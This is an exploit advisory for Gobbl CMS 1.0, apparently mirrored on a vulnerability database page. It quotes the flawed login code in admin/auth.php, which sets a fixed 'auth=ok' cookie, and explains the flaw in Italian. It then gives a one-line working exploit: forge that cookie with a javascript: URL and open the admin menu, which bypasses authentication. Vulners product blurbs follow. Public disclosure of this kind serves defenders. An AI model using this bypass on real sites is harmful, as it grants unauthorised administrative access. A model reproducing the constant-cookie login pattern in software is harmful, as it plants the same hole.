====================================================
Gobbl CMS 1.0 Insecure Cookie Handling Vulnerability
====================================================
---------------------------
Gobbl Cms 1.0 I.Cookie Hand.
---------------------------
Autore: x0r ( Evolution Team)
Demo Site:http://www.gobbl.net/
---------------------------
Bug In: \admin\auth.php
?>
include ('../config.php');
$user = $_POST['user'];
$pass = $_POST['pass'];
if ( ($user == $un) and ($pass == $pw) )
{
setcookie( "auth", "ok", time()+40000 ); # Bugz
header ( "location:add.php" ); exit ();
}
else
{
header ( "location:index.php" ); exit ();
}
?>
Il file auth.php controlla se nel file ../config.php le post $user\$pass presentano gli stessi dati delle variabili
$un\$pw ( config.php ) se cosi e setta il cookie auth=ok :P ^ ^
Exploit:
javascript:document.cookie = "auth=ok; path=/"; then \admin\menu.php # So Easy To Hack :P
# 0day.today [2018-04-08] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation